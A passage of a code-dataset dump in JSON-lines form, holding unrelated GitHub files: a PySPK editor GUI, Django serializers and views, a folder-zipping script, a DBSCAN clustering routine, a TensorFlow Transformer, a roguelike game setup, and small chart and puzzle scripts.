outline='#FF0000')\n\t\t\telse:\n\t\t\t\tself.skyCanvas.itemconfig(self.item_selecting_box, state=NORMAL)\n\t\t\tself.skyCanvas.coords(self.item_selecting_box, self.selecting_start[0],self.selecting_start[1], event.x,event.y)\n\t\telse:\n\t\t\tx,y = event.x,event.y\n\t\t\tif self.selecting_start != None:\n\t\t\t\tx,y = self.selecting_start\n\t\t\tself.skyCanvas.itemconfig(self.item_selecting_box, state=HIDDEN)\n\t\t\titems = self.skyCanvas.find_overlapping(x,y, event.x,event.y)\n\t\t\tif modifier == MODIFIER_NONE:\n\t\t\t\tself.selected_stars = []\n\t\t\tfor item in items:\n\t\t\t\tif item in self.star_map:\n\t\t\t\t\tlayer = -1\n\t\t\t\t\tfor tag in self.skyCanvas.gettags(item):\n\t\t\t\t\t\tif tag.startswith('layer'):\n\t\t\t\t\t\t\tlayer = int(tag[5:])\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tif layer > -1 and not self.locked.get() & (1 << layer):\n\t\t\t\t\t\tstar = self.star_map[item]\n\t\t\t\t\t\tif not star in self.selected_stars:\n\t\t\t\t\t\t\tself.selected_stars.append(star)\n\t\t\tself.update_selection()\n\t\t\tself.selecting_start = None\n\tdef move_event(self, event, button_event, modifier):\n\t\tif button_event == MOUSE_DOWN:\n\t\t\tself.last_pos = (event.x,event.y)\n\t\telse:\n\t\t\tdx,dy = event.x-self.last_pos[0],event.y-self.last_pos[1]\n\t\t\tself.move_stars((dx,dy))\n\t\t\tself.last_pos = (event.x,event.y)\n\tdef draw_event(self, event, button_event, modifier):\n\t\tif button_event == MOUSE_UP \\\n\t\t\t\tand self.selected_image \\\n\t\t\t\tand len(self.spk.layers) \\\n\t\t\t\tand self.layer.get() > -1 \\\n\t\t\t\tand not self.locked.get() & (1 << self.layer.get()):\n\t\t\tstar = SPK.SPKStar()\n\t\t\tstar.image = self.selected_image\n\t\t\tstar.x = max(0,event.x - star.image.width/2)\n\t\t\tstar.y = max(0,event.y - star.image.height/2)\n\t\t\tself.spk.layers[self.layer.get()].stars.append(star)\n\t\t\tself.update_star(star, self.layer.get())\n\t\t\tself.update_zorder()\n\t\t\tself.stars_tab.update_list()\n\t\t\tif not self.visible.get() & (1 << self.layer.get()):\n\t\t\t\tself.visible.set(self.visible.get() | (1 << self.layer.get()))\n\t\t\tself.edit()\n\tdef mouse_event(self, event, button_event, modifier):\n\t\tif not self.is_file_open():\n\t\t\treturn\n\t\tf = [self.select_event,self.move_event,self.draw_event][self.tool.get()]\n\t\tf(event, button_event, modifier)\n\n\tdef mouse_move(self, event, modifier):\n\t\tif self.tool.get() == Tool.Draw and self.layer.get() > -1 and self.selected_image:\n\t\t\tx,y = event.x,event.y\n\t\t\tif modifier == MODIFIER_SHIFT:\n\t\t\t\tx += self.selected_image.width/2\n\t\t\t\ty += self.selected_image.height/2\n\t\t\telse:\n\t\t\t\tx = max(self.selected_image.width/2,x)\n\t\t\t\ty = max(self.selected_image.height/2,y)\n\t\t\tif not self.item_place_image:\n\t\t\t\timage = self.get_image(self.selected_image)\n\t\t\t\tself.item_place_image = self.skyCanvas.create_image(x,y, image=image)\n\t\t\telse:\n\t\t\t\tself.skyCanvas.coords(self.item_place_image, x,y)\n\tdef mouse_leave(self, event):\n\t\tif self.item_place_image:\n\t\t\tself.skyCanvas.delete(self.item_place_image)\n\t\t\tself.item_place_image = None\n\n\tdef preview(self):\n\t\tPreviewDialog(self)\n\n\tdef clear(self):\n\t\tself.spk = None\n\t\tself.file = None\n\t\tself.mark_edited(False)\n\t\t\n\t\tself.update_title()\n\t\t\n\t\tself.selected_image = None\n\t\tself.selected_stars = []\n\n\t\tself.layer.set(-1)\n\t\tself.visible.set(1+2+4+8+16)\n\t\tif self.autolock.get():\n\t\t\tself.locked.set(2+4+8+16)\n\t\telse:\n\t\t\tself.locked.set(0)\n\n\t\tfor r in self.rows:\n\t\t\tr.hide()\n\t\tself.skyCanvas.delete(ALL)\n\n\t\tself.palette_tab.clear()\n\t\tself.stars_tab.clear()\n\n\tdef update_title(self):\n\t\tfile_path = self.file\n\t\tif not file_path and self.is_file_open():\n\t\t\tfile_path = 'Untitled.spk'\n\t\tif not file_path:\n\t\t\tself.title('PySPK %s' % LONG_VERSION)\n\t\telse:\n\t\t\tself.title('PySPK %s (%s)' % (LONG_VERSION, file_path))\n\n\tdef mark_edited(self, edited=True):\n\t\tself.edited = edited\n\t\tself.editstatus['state'] = NORMAL if edited else DISABLED\n\n\tdef new(self, key=None):\n\t\tif not self.unsaved():\n\t\t\tself.clear()\n\t\t\tself.spk = SPK.SPK()\n\t\t\tself.reload_list()\n\t\t\tself.update_stars()\n\t\t\tself.file = None\n\t\t\tself.status.set('Editing new Parallax.')\n\t\t\tself.update_title()\n\t\t\tself.mark_edited(False)\n\t\t\tself.action_states()\n\n\tdef open(self, key=None, file=None):\n\t\tif not self.unsaved():\n\t\t\tif file == None:\n\t\t\t\tfile = self.settings.lastpath.spk.select_open_file(self, title='Open Parallax SPK', filetypes=[FileType.spk()])\n\t\t\t\tif not file:\n\t\t\t\t\treturn\n\t\t\tspk = SPK.SPK()\n\t\t\ttry:\n\t\t\t\tspk.load_file(file)\n\t\t\texcept PyMSError as e:\n\t\t\t\tErrorDialog(self, e)\n\t\t\t\treturn\n\t\t\tself.clear()\n\t\t\tself.spk = spk\n\t\t\tif len(self.spk.layers):\n\t\t\t\tself.layer.set(0)\n\t\t\tself.reload_list()\n\t\t\tif len(self.spk.images):\n\t\t\t\tself.selected_image = self.spk.images[0]\n\t\t\tself.palette_tab.reload_palette()\n\t\t\tself.update_stars()\n\t\t\tself.file = file\n\t\t\tself.update_title()\n\t\t\tself.status.set('Load Successful!')\n\t\t\tself.mark_edited(False)\n\t\t\tself.action_states()\n\n\tdef iimport(self, key=None):\n\t\tif not self.unsaved():\n\t\t\tfilepath = self.settings.lastpath.bmp.select_open_file(self, key='import', title='Import BMP', filetypes=[FileType.bmp()])\n\t\t\tif not filepath:\n\t\t\t\treturn\n\t\t\tt = LayerCountDialog(self)\n\t\t\tlayer_count = t.result.get()\n\t\t\tif not layer_count:\n\t\t\t\treturn\n\t\t\tspk = SPK.SPK()\n\t\t\ttry:\n\t\t\t\tspk.interpret_file(filepath, layer_count)\n\t\t\texcept PyMSError as e:\n\t\t\t\tErrorDialog(self, e)\n\t\t\t\treturn\n\t\t\tself.clear()\n\t\t\tself.spk = spk\n\t\t\tif len(self.spk.layers):\n\t\t\t\tself.layer.set(0)\n\t\t\tself.reload_list()\n\t\t\tif len(self.spk.images):\n\t\t\t\tself.selected_image = self.spk.images[0]\n\t\t\tself.palette_tab.reload_palette()\n\t\t\tself.update_stars()\n\t\t\tself.file = None\n\t\t\tself.update_title()\n\t\t\tself.status.set('Import Successful!')\n\t\t\tself.mark_edited(False)\n\t\t\tself.action_states()\n\n\tdef save(self, key=None):\n\t\tself.saveas(file_path=self.file)\n\n\tdef saveas(self, key=None, file_path=None):\n\t\tif not file_path:\n\t\t\tfile_path = self.settings.lastpath.spk.select_save_file(self, title='Save Parallax SPK As', filetypes=[FileType.spk()])\n\t\t\tif not file_path:\n\t\t\t\treturn\n\t\telif not check_allow_overwrite_internal_file(file_path):\n\t\t\treturn\n\t\ttry:\n\t\t\tself.spk.save_file(file_path)\n\t\texcept PyMSError as e:\n\t\t\tErrorDialog(self, e)\n\t\tself.file = file_path\n\t\tself.update_title()\n\t\tself.status.set('Save Successful!')\n\t\tself.mark_edited(False)\n\n\tdef export(self, key=None):\n\t\tfilepath = self.settings.lastpath.bmp.select_save_file(self, key='export', title='Export BMP', filetypes=[FileType.bmp()])\n\t\tif not filepath:\n\t\t\treturn True\n\t\ttry:\n\t\t\tself.spk.decompile_file(filepath, self.platformwpe)\n\t\t\tself.status.set('Export Successful!')\n\t\texcept PyMSError as e:\n\t\t\tErrorDialog(self, e)\n\n\tdef close(self, key=None):\n\t\tif not self.unsaved():\n\t\t\tself.clear()\n\t\t\tself.status.set('Load or create a Parallax SPK.')\n\t\t\tself.editstatus['state'] = DISABLED\n\t\t\tself.action_states()\n\n\tdef register(self, e=None):\n\t\ttry:\n\t\t\tregister_registry('PySPK', 'spk', '')\n\t\texcept PyMSError as e:\n\t\t\tErrorDialog(self, e)\n\n\tdef help(self, e=None):\n\t\tHelpDialog(self, self.settings, 'Help/Programs/PySPK.md')\n\n\tdef about(self, key=None):\n\t\tAboutDialog(self, 'PySPK', LONG_VERSION, [\n\t\t\t('FaRTy1billion','File Specs and SPKEdit')\n\t\t])\n\n\tdef load_settings(self):\n\t\tself.settings.windows.load_window_size('main', self)\n\t\tself.autovis.set(self.settings.get('autovis', False))\n\t\tself.autolock.set(self.settings.get('autolock', True))\n\n\tdef save_settings(self):\n\t\tself.settings.windows.save_window_size('main', self)\n\t\tself.settings.autovis = self.autovis.get()\n\t\tself.settings.autolock = self.autolock.get()\n\t\tself.settings.save()\n\n\tdef exit(self, e=None):\n\t\tif self.unsaved():\n\t\t\treturn\n\t\tself.save_settings()\n\t\tself.destroy()\n","repo_name":"poiuyqwert/PyMS","sub_path":"PyMS/PySPK/PySPK.py","file_name":"PySPK.py","file_ext":"py","file_size_in_byte":23533,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"5"} +{"seq_id":"13969112124","text":"\nfrom rest_framework import serializers\nfrom .models import News\n\nclass NewsSerializer(serializers.ModelSerializer):\n class Meta:\n model = News\n fields = ['id', 'title', 'url', 'created_at', 'type']\n read_only_fields = ['created_at']\n\n def update(self, instance, validated_data):\n # Only allow updating news items that were created through the API\n if instance.api_created:\n instance.title = validated_data.get('title', instance.title)\n instance.url = validated_data.get('url', instance.url)\n instance.type = validated_data.get('type', instance.type)\n instance.save()\n return instance\n raise serializers.ValidationError('This news item was not created through the API and cannot be updated.')\n\n def destroy(self, instance):\n # Only allow deleting news items that were created through the API\n if instance.api_created:\n instance.delete()\n else:\n raise serializers.ValidationError('This news item was not created through the API and cannot be deleted.')\n","repo_name":"Eazyisreal/Hacker-News-API-Client","sub_path":"news/items/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"17578072615","text":"#!/usr/bin/env python3\nimport os\nimport zipfile\ndef printProgressBar (iteration, total, prefix = '', suffix = '', decimals = 0, length = 100, fill = '█', span = ' '):\n\t\"\"\"\n\tCall in a loop to create terminal progress bar\n\t@params:\n\t\titeration - Required : current iteration (Int)\n\t\ttotal - Required : total iterations (Int)\n\t\tprefix - Optional : prefix string (Str)\n\t\tsuffix - Optional : suffix string (Str)\n\t\tdecimals - Optional : positive number of decimals in percent complete (Int)\n\t\tlength - Optional : character length of bar (Int)\n\t\tfill - Optional : bar fill character (Str)\n\t\"\"\"\n\tpropeller = '-\\|/'[iteration%4]\n\tpercent = (\"{0:.\" + str(decimals) + \"f}\").format(100 * (iteration / float(total)))\n\tfilledLength = int(length * iteration // total)\n\tbar = fill * filledLength + span * (length - filledLength)\n\tprint('\\r[ %s ] %s [%s] %s%% %s' % (propeller, prefix, bar, percent, suffix), end = '\\r')\n\t# Print New Line on Complete\n\tif iteration == total:\n\t\tprint()\n\ndef zipdir(path, ziph):\n\tfor root, dirs, files in os.walk(path):\n\t\tfor fol in dirs:\n\t\t\tif fol in il:\n\t\t\t\tprint('*11* exclude folder:', fol)\n\t\t\t\tdirs.remove(fol)\n\t\tfor fil in files:\n\t\t\tl = len(files)\n\t\t\ti = files.index(fil)\n\t\t\tif fname in files:\n\t\t\t\t# exclude archive name to avoid recursion\n\t\t\t\tfiles.remove(fname)\n\t\t\t# pc = int(len(files)*files.index(fil)//20)\n\t\t\t# print('\\rZipping folder * %s *\\t[%s\\t]\\t[ %s ]\\r' % (fname, '.'*pc, '-\\|/'[files.index(fil)%4]), end='\\r')\n\t\t\t# include only this folder and not that one above\n\t\t\tabsfn = os.path.join(root, fil)\n\t\t\trelfn = absfn[len(path)+len(os.sep):] #XXX: relative path\n\t\t\tziph.write(absfn, relfn)\n\t\t\t# ziph.write(os.path.join(root, fil))\n\t\t\tprintProgressBar(i, l, prefix = 'Zipping * %s *' % fname, suffix = '', length = 16, fill='.')\n\nif __name__ == '__main__':\n\t#use gitignore as exclude list:\n\tignorefile = '.gitignore'\n\t#default ignorelist:\n\til = ['lol']\n\tif os.path.isfile(ignorefile):\n\t\twith open(ignorefile, 'r') as ign:\n\t\t\ttmp = ign.readlines()\n\t\t\tit = [i.strip() for i in tmp if not(i.startswith('#')) and not(i.startswith('*')) and i!='\\n']\n\t\t\til.extend(it)\n\t\t\t# check for file patterns too. Currently unused due to complications\n\t\t\t# ifl = [i.strip() for i in tmp if i.startswith('*')]\n\t# print(il, sep='\\n')\n\tcat = os.getcwd()\n\tfname = os.path.basename(cat)+'.zip'\n\twith zipfile.ZipFile(fname, 'w', zipfile.ZIP_DEFLATED) as zipf:\n\t\tzipdir(cat, zipf)\n\t\tprint('\\n* Done! *')\n\n","repo_name":"veirus/web_boilerplate","sub_path":"packit.py","file_name":"packit.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"36254519347","text":"# cook your dish here\nfor _ in range(int(input())):\n n=int(input())\n l=list(map(int,input().split()))\n l.sort()\n diff=[]\n for i in range(len(l)-1):\n a=abs(l[i+1]-l[i])\n diff.append(a)\n print(min(diff))\n\n ","repo_name":"Khushisomani/codes","sub_path":"29035247.py","file_name":"29035247.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"24433908647","text":"from django.shortcuts import render\r\nfrom django.shortcuts import redirect\r\nfrom django.http import HttpResponse\r\nfrom portal.models import *\r\nimport ast\r\n\r\nfrom django.utils.timezone import localtime, now\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.contrib.auth.models import User\r\nfrom .utils import get_dashboard_context\r\n\r\n\r\n@login_required\r\ndef form(request):\r\n context = get_dashboard_context(request.user.username, request.user.email)\r\n questions_and_options = []\r\n questions = Question.objects.order_by('order_number')\r\n for question in questions:\r\n options = None\r\n if question.options:\r\n options = ast.literal_eval(question.options)\r\n questions_and_options.append([question, options])\r\n context[\"questions\"] = questions_and_options\r\n return render(request, \"portal/question_forms/edit_form.html\", context)\r\n\r\n@login_required\r\ndef create_question(request):\r\n question_text = request.POST.get(\"question_text\")\r\n q_type = request.POST.get(\"question_type\")\r\n if q_type == 'radio':\r\n options = request.POST.getlist(\"options\")\r\n q = Radiobutton.create(question_text, options)\r\n elif q_type == 'checkbox':\r\n options = request.POST.getlist(\"options\", False)\r\n q = Checkbox.create(question_text, options)\r\n elif q_type == 'dropdown':\r\n options = request.POST.getlist(\"options\", False)\r\n q = Dropdown.create(question_text, options)\r\n elif q_type == 'paragraph':\r\n q = Paragraph.create(question_text)\r\n q.save()\r\n return redirect('portal:form')\r\n\r\n@login_required\r\ndef delete_question(request):\r\n question = Question.objects.get(pk=request.POST[\"to_delete\"])\r\n question.delete()\r\n return redirect('portal:form')\r\n\r\n@login_required\r\ndef edit_question(request, pk=''):\r\n question = Question.objects.get(pk=pk)\r\n options = request.POST.getlist(\"options\")\r\n question.question_text = request.POST['question_text']\r\n if options: \r\n for option in options:\r\n if request.POST.get(option, False):\r\n options.remove(option)\r\n question.set_options_list(options)\r\n question.save()\r\n return redirect('portal:form')","repo_name":"codebase-berkeley/application-portal","sub_path":"portal/views/form.py","file_name":"form.py","file_ext":"py","file_size_in_byte":2215,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"5"} +{"seq_id":"3594484123","text":"# -*- coding: utf-8 -*- \n\nimport matplotlib.pyplot as plt\n\nplt.rcParams['font.sans-serif'] ='Microsoft JhengHei'\n\nx = ['第1学期', '第2学期', '第3学期', '第4学期','第5学期', '第6学期', '第7学期', '第8学期']\ns = [95.3, 94.2,91.4,96.2,92.3, 93.6,89.4,91.2]\nplt.bar(x, s,width=0.5, align='edge', color='r', ec='y',lw=2)\nplt.ylabel('平均分数')\nplt.title('大学四年各学期的平均分数')\nplt.show()\n","repo_name":"thomaslao/python","sub_path":"MP32104_Example/ch12/barChart01.py","file_name":"barChart01.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"5868572457","text":"#DBScan file\n###Parameters:\n#Data Matrix\n#Minpts\n#e\n\n###Returns:\n#means\n#clusters found\n##Label points:\n#Core\n#Border\n#Noise\n\nfrom sklearn.datasets import make_blobs\nimport numpy as np\nimport math\n\n#Get distance between 2 points\ndef distance(mean_point, distance_point):\n return math.sqrt(sum([(mean_point[index] - distance_point[index]) ** 2 for index in range(len(mean_point))]))\n\n#Return if in neighborhood\ndef within_neighborhood(point_1, point_2, max_distance):\n return distance(point_1, point_2) <= max_distance\n\nclass Point():\n #Point is a tuple of point values\n def __init__(self, point):\n self.point = point\n self.label = \"noise\"\n self.cluster = []\n\n def get_cluster(self, cluster = [], loop = 0):\n length = len(cluster)\n new = [self] + self.cluster\n cluster = cluster + new\n cluster = list(set(cluster))\n if len(cluster) == length:\n return cluster\n for item in new:\n cluster = item.get_cluster(cluster = cluster, loop = loop+1)\n return cluster\n\n\ndef dbscan(matrix, minpts = 5, e = 10000):\n points = [Point(tuple(matrix[row,:])) for row in range(len(matrix))]\n for item in points:\n for other in points:\n if within_neighborhood(item.point, other.point, minpts):\n item.cluster.append(other)\n other.cluster.append(item)\n for item in points:\n item.cluster = list(set(item.cluster))\n if len(item.cluster) >= minpts:\n item.label = \"core\"\n else:\n for other in item.cluster:\n if other.label == \"core\":\n item.label = \"border\"\n break\n output = list(set([tuple(point.get_cluster()) for point in points]))\n return [list(item) for item in output]\n \n\n#Testing Space\nD, labels = make_blobs(n_samples=500, centers=3, cluster_std=.3, random_state=0)\n\nD.shape\n\nscan = dbscan(D, minpts = 5)\nprint(len(scan))\n","repo_name":"codephilip/Data-Mining","sub_path":"project3/dbscan.py","file_name":"dbscan.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"70414441112","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nProjet traitement du signal\r\n\"\"\"\r\n\r\nimport numpy as np\r\nfrom scipy.io.wavfile import read\r\nimport matplotlib.pyplot as plt\r\nimport os, random\r\nfrom pitchEstimate import findPitch\r\nfrom formants import formant\r\nfrom mfccs import mfccs\r\nfrom energy import energy\r\n\r\n\"\"\"from python_speech_features import mfcc\r\nfrom python_speech_features import logfbank\r\nimport scipy.io.wavfile as wav\r\n# library to calculates mfccs\r\n\r\n\"\"\"\r\n\r\n\r\ndef wavread(folder,file):\r\n os.chdir(folder)\r\n fs, x1 = read(file)\r\n os.chdir(\"..\")\r\n x1=np.asarray(x1)\r\n \"\"\"print(\"WAV File: \",x,\"Fs:\",fs, \"Hz\")\r\n plt.figure()\r\n plt.title(\"signal complet\")\r\n plt.plot(x1)\r\n plt.show()\"\"\"\r\n return fs, x1\r\n\r\ndef features(fs,x):\r\n \"\"\" computes different features of an input signal\r\n arguments:\r\n fs: sampling frequency ( int )\r\n x: input signal ( array-like )\r\n returns : \r\n Energy: total energy of the signal (int )\r\n PitchA: Fundamental frequencies using auto correlation ( array-like)\r\n PitchC: fundamental frequencies using ceptsurm based method ( array-like)\r\n Formants: Formants of each frame of the input signal ( array-like)\r\n Mfccs: mffcs of each frame of the input signal ( array-like)\r\n \r\n \"\"\"\r\n \r\n PitchA=findPitch(fs,x,0) # 0 for autocorrelation method\r\n PitchC=findPitch(fs,x,1) # 1 for cepstrum based method\r\n Formants=formant(fs,x)\r\n Mfccs=mfccs(fs,x) \r\n #Mfccs=mfcc(x,fs,winfunc=np.hamming,ceplifter=0) # mfccs from python speech features library\r\n Energy=energy(x)\r\n \r\n return Energy, PitchA, PitchC, Formants, Mfccs\r\n\r\ndef main():\r\n \"\"\" implementing a rule based system that sorts voice signals \r\n as belonging to a male speaker or a female speaker\"\"\"\r\n fs, x = wavread(\"male\",\"arctic_a0001.wav\")\r\n Energy, PitchA, PitchC, Formants, Mfccs=features(fs,x)\r\n #print(Energy.shape, PitchA.shape, PitchC.shape, Formants.shape, Mfccs.shape)\r\n \r\n plt.figure()\r\n plt.subplot(2,1,1)\r\n plt.plot(PitchA) \r\n plt.title(\"P A\")\r\n plt.show()\r\n plt.subplot(2,1,2)\r\n plt.plot(PitchC) \r\n plt.title(\"P C\")\r\n plt.show()\r\n print(Formants[0])\r\n print(Formants[20])\r\n print(Formants[50])\r\n \r\n \"\"\"i=0 \r\n n=5 #nbre de fichiers\r\n plt.figure()\r\n while(i Engine:\n \"\"\"Return a brand new game session as an Engine instance.\"\"\"\n #map_width = 70\n #map_height = 44\n map_width = 80\n map_height = 36\n\n # Valores originales\n #room_max_size = 10\n #room_min_size = 6\n #max_rooms = 30\n\n #room_max_size = 9\n #room_min_size = 4\n #max_rooms = 30\n\n #if Engine.game_world.current_floor == 0:\n # room_max_size = 20\n # room_min_size = 9\n # max_rooms = 2\n #else:\n # room_max_size = 9\n # room_min_size = 4\n # max_rooms = 30\n\n import random\n room_max_size = random.randint(7, 13)\n room_min_size = 4\n max_rooms = random.randint(10, 30)\n\n # Con 'deepcopy' se crea/recupera la entidad 'player' con \n # sus atributos (y valores de esos atributos) originales (e.e. más primitivos)\n player = copy.deepcopy(entity_factories.player)\n\n engine = Engine(player=player)\n\n engine.game_world = GameWorld(\n engine=engine,\n max_rooms=max_rooms,\n room_min_size=room_min_size,\n room_max_size=room_max_size,\n map_width=map_width,\n map_height=map_height,\n )\n\n # Esta es la primera vez que se genera el mapa y el fov:\n engine.game_world.generate_floor()\n engine.update_fov()\n\n engine.message_log.add_message(\n \"You arrive to Monkey Island!\", color.welcome_text\n )\n\n dagger = copy.deepcopy(entity_factories.dagger)\n leather_armor = copy.deepcopy(entity_factories.leather_armor)\n\n dagger.parent = player.inventory\n leather_armor.parent = player.inventory\n\n player.inventory.items.append(dagger)\n player.equipment.toggle_equip(dagger, add_message=False)\n\n player.inventory.items.append(leather_armor)\n player.equipment.toggle_equip(leather_armor, add_message=False)\n\n return engine\n\n\ndef load_game(filename: str) -> Engine:\n \"\"\"Load an Engine instance from a file.\"\"\"\n with open(filename, \"rb\") as f:\n engine = pickle.loads(lzma.decompress(f.read()))\n assert isinstance(engine, Engine)\n return engine\n\n#def load_floor(filename: str) -> Engine:\n# \"\"\"Load an Engine instance from a file.\"\"\"\n# with open(filename, \"rb\") as f:\n# engine = pickle.loads(lzma.decompress(f.read()))\n# assert isinstance(engine, Engine)\n# return engine\n\n\nclass MainMenu(input_handlers.BaseEventHandler):\n \"\"\"Handle the main menu rendering and input.\"\"\"\n\n def on_render(self, console: tcod.Console) -> None:\n \"\"\"Render the main menu on a background image.\"\"\"\n console.draw_semigraphics(background_image, 0, 0)\n\n console.print(\n console.width // 2,\n console.height // 2 - 4,\n \"MONKEY ISLAND ROGUELIKE\",\n fg=color.menu_title,\n alignment=tcod.CENTER,\n )\n console.print(\n console.width // 2,\n console.height - 2,\n \"By Letchug\",\n fg=color.menu_title,\n alignment=tcod.CENTER,\n )\n\n menu_width = 24\n for i, text in enumerate(\n [\"[N] Play a new game\", \"[C] Continue last game\", \"[Q] Quit\"]\n ):\n console.print(\n console.width // 2,\n console.height // 2 - 2 + i,\n text.ljust(menu_width),\n fg=color.menu_text,\n bg=color.black,\n alignment=tcod.CENTER,\n bg_blend=tcod.BKGND_ALPHA(64),\n )\n\n def ev_keydown(\n self, event: tcod.event.KeyDown\n ) -> Optional[input_handlers.BaseEventHandler]:\n if event.sym in (tcod.event.K_q, tcod.event.K_ESCAPE):\n raise SystemExit()\n elif event.sym == tcod.event.K_c:\n try:\n return input_handlers.MainGameEventHandler(load_game(\"savegame.sav\"))\n except FileNotFoundError:\n return input_handlers.PopupMessage(self, \"No saved game to load.\")\n except Exception as exc:\n traceback.print_exc() # Print to stderr.\n return input_handlers.PopupMessage(self, f\"Failed to load save:\\n{exc}\")\n elif event.sym == tcod.event.K_n:\n return input_handlers.MainGameEventHandler(new_game())\n\n return None","repo_name":"jonsande/tcod_roguelike","sub_path":"setup_game.py","file_name":"setup_game.py","file_ext":"py","file_size_in_byte":4724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"19965598158","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[64]:\n\n\nimport tensorflow as tf\nimport numpy as np\nfrom konlpy.tag import Okt\nimport random\n\n\n# In[65]:\n\n\nEPOCHS = 200\nNUM_WORDS = 2000\n\n\n# In[99]:\n\n\nclass Scaled_Dot_Attention(tf.keras.Model):\n def __init__(self, d_emb, d_reduced, masked = False):\n super(Scaled_Dot_Attention, self).__init__()\n self.q = tf.keras.layers.Dense(d_reduced)\n self.k = tf.keras.layers.Dense(d_reduced)\n self.v = tf.keras.layers.Dense(d_reduced)\n ##차원 축소용\n self.scale = tf.keras.layers.Lambda(lambda x : x/np.sqrt(d_reduced))\n self.masked = masked\n def call(self, x, training = None, mask = None):\n q = self.scale(self.q(x[0]))\n k = self.k(x[1])\n k = tf.transpose(k, perm = [0, 2, 1])\n qk = tf.matmul(q, k)\n v = self.v(x[2])\n \n if self.masked == True:\n length = tf.shape(qk)[-1]\n mask = tf.fill((length, length), -np.inf)\n mask = tf.linalg.band_part(mask, 0, -1)\n ##더하는 개념에 있어서는 upper가 되어야 된다\n mask = tf.linalg.set_diag(mask, tf.zeros((length)))\n ##대각선에 대해서 행렬로 주어야 한다\n qk+=mask\n \n qk = tf.keras.layers.Activation('softmax')(qk)\n \n return tf.matmul(qk, v)\n\n\n# In[100]:\n\n\nclass Multi_Head_Attention(tf.keras.Model):\n def __init__(self, h, d_emb, d_reduced, masked = False):\n super(Multi_Head_Attention, self).__init__()\n self.sequence = list()\n for _ in range(h):\n self.sequence.append(Scaled_Dot_Attention(d_emb, d_reduced, masked))\n self.dense = tf.keras.layers.Dense(d_emb)\n \n def call(self, x, training = False, mask = False):\n result = [layer(x, training, mask) for layer in self.sequence]\n result = tf.concat(result, axis = -1)\n return self.dense(result)\n\n\n# In[101]:\n\n\nclass Encoder(tf.keras.layers.Layer):\n def __init__(self, h, d_reduced):\n super(Encoder, self).__init__()\n self.div = h\n self.n_dim = d_reduced\n \n def build(self, input_shape):\n self.multi = Multi_Head_Attention(self.div, input_shape[-1], self.n_dim)\n self.ln = tf.keras.layers.LayerNormalization()\n self.ffn_1 = tf.keras.layers.Dense(input_shape[-1]*4)\n self.ffn_2 = tf.keras.layers.Activation('relu')\n self.ffn_3 = tf.keras.layers.Dense(input_shape[-1])\n super(Encoder, self).build(input_shape)\n \n def call(self, x, training = False, mask = False):\n temp = self.multi([x, x, x])\n x = self.ln(x+temp)\n temp = self.ffn_1(x)\n temp = self.ffn_2(temp)\n temp = self.ffn_3(temp)\n x = self.ln(x+temp)\n return x\n\n\n# In[102]:\n\n\nclass Decoder(tf.keras.layers.Layer):\n def __init__(self, h, d_reduced):\n super(Decoder, self).__init__()\n self.div = h\n self.n_dim = d_reduced\n \n def build(self, input_shape):\n self.multi_1 = Multi_Head_Attention(self.div, input_shape[0][-1], self.n_dim)\n self.multi_2 = Multi_Head_Attention(self.div, input_shape[0][-1], self.n_dim)\n self.ln = tf.keras.layers.LayerNormalization()\n self.ffn_1 = tf.keras.layers.Dense(input_shape[0][-1]*4)\n self.ffn_2 = tf.keras.layers.Activation('relu')\n self.ffn_3 = tf.keras.layers.Dense(input_shape[0][-1])\n super(Decoder, self).build(input_shape)\n \n def call(self, inputs, training = False, mask = False):\n x, context = inputs\n temp = self.multi_1([x, x, x])\n x = self.ln(x+temp)\n temp = self.multi_2([x, context, context], mask = True)\n x = self.ln(x+temp)\n temp = self.ffn_1(x)\n temp = self.ffn_2(temp)\n temp = self.ffn_3(temp)\n return self.ln(x+temp)\n\n\n# In[103]:\n\n\nclass Transformer(tf.keras.Model):\n def __init__(self, src, dst, d_emb, d_reduced, enc_count, dec_count, h):\n super(Transformer, self).__init__()\n self.enc_emb = tf.keras.layers.Embedding(src, d_emb)\n self.dec_emb = tf.keras.layers.Embedding(dst, d_emb)\n \n self.encoders = [Encoder(h, d_reduced) for _ in range(enc_count)]\n self.decoders = [Decoder(h, d_reduced) for _ in range(dec_count)]\n \n self.dense = tf.keras.layers.Dense(dst)\n \n def call(self, x):\n src, dst = x\n src = self.enc_emb(src)\n dst = self.dec_emb(dst)\n for layer in self.encoders:\n src = layer(src)\n for layer in self.decoders:\n dst = layer((dst, src))\n print(tf.keras.layers.Activation('softmax')(self.dense(dst)))\n return tf.keras.layers.Activation('softmax')(self.dense(dst))\n\n","repo_name":"dlckdtn62/Attention-Is-All-You-Need-Tensorflow-2.0-","sub_path":"Attention Is All You Need(Transformer).py","file_name":"Attention Is All You Need(Transformer).py","file_ext":"py","file_size_in_byte":4757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"1304215523","text":"from django.contrib import admin\nfrom warehouse.models import Hospital, Warehouse\nfrom import_export.admin import ImportExportModelAdmin\n\nfrom import_export import resources\n\nclass HospitalResource(resources.ModelResource):\n\tclass Meta:\n\t\tmodel = Hospital\n\t\tfields = ('id', 'name', 'city', 'town', 'hospital_type')\n\t\texport_order = ('name', 'city', 'town', 'hospital_type')\n\nclass HospitalAdmin(ImportExportModelAdmin):\n\tlist_display = ['id', 'name', 'city', 'town', 'hospital_type']\n\tsearch_fields = 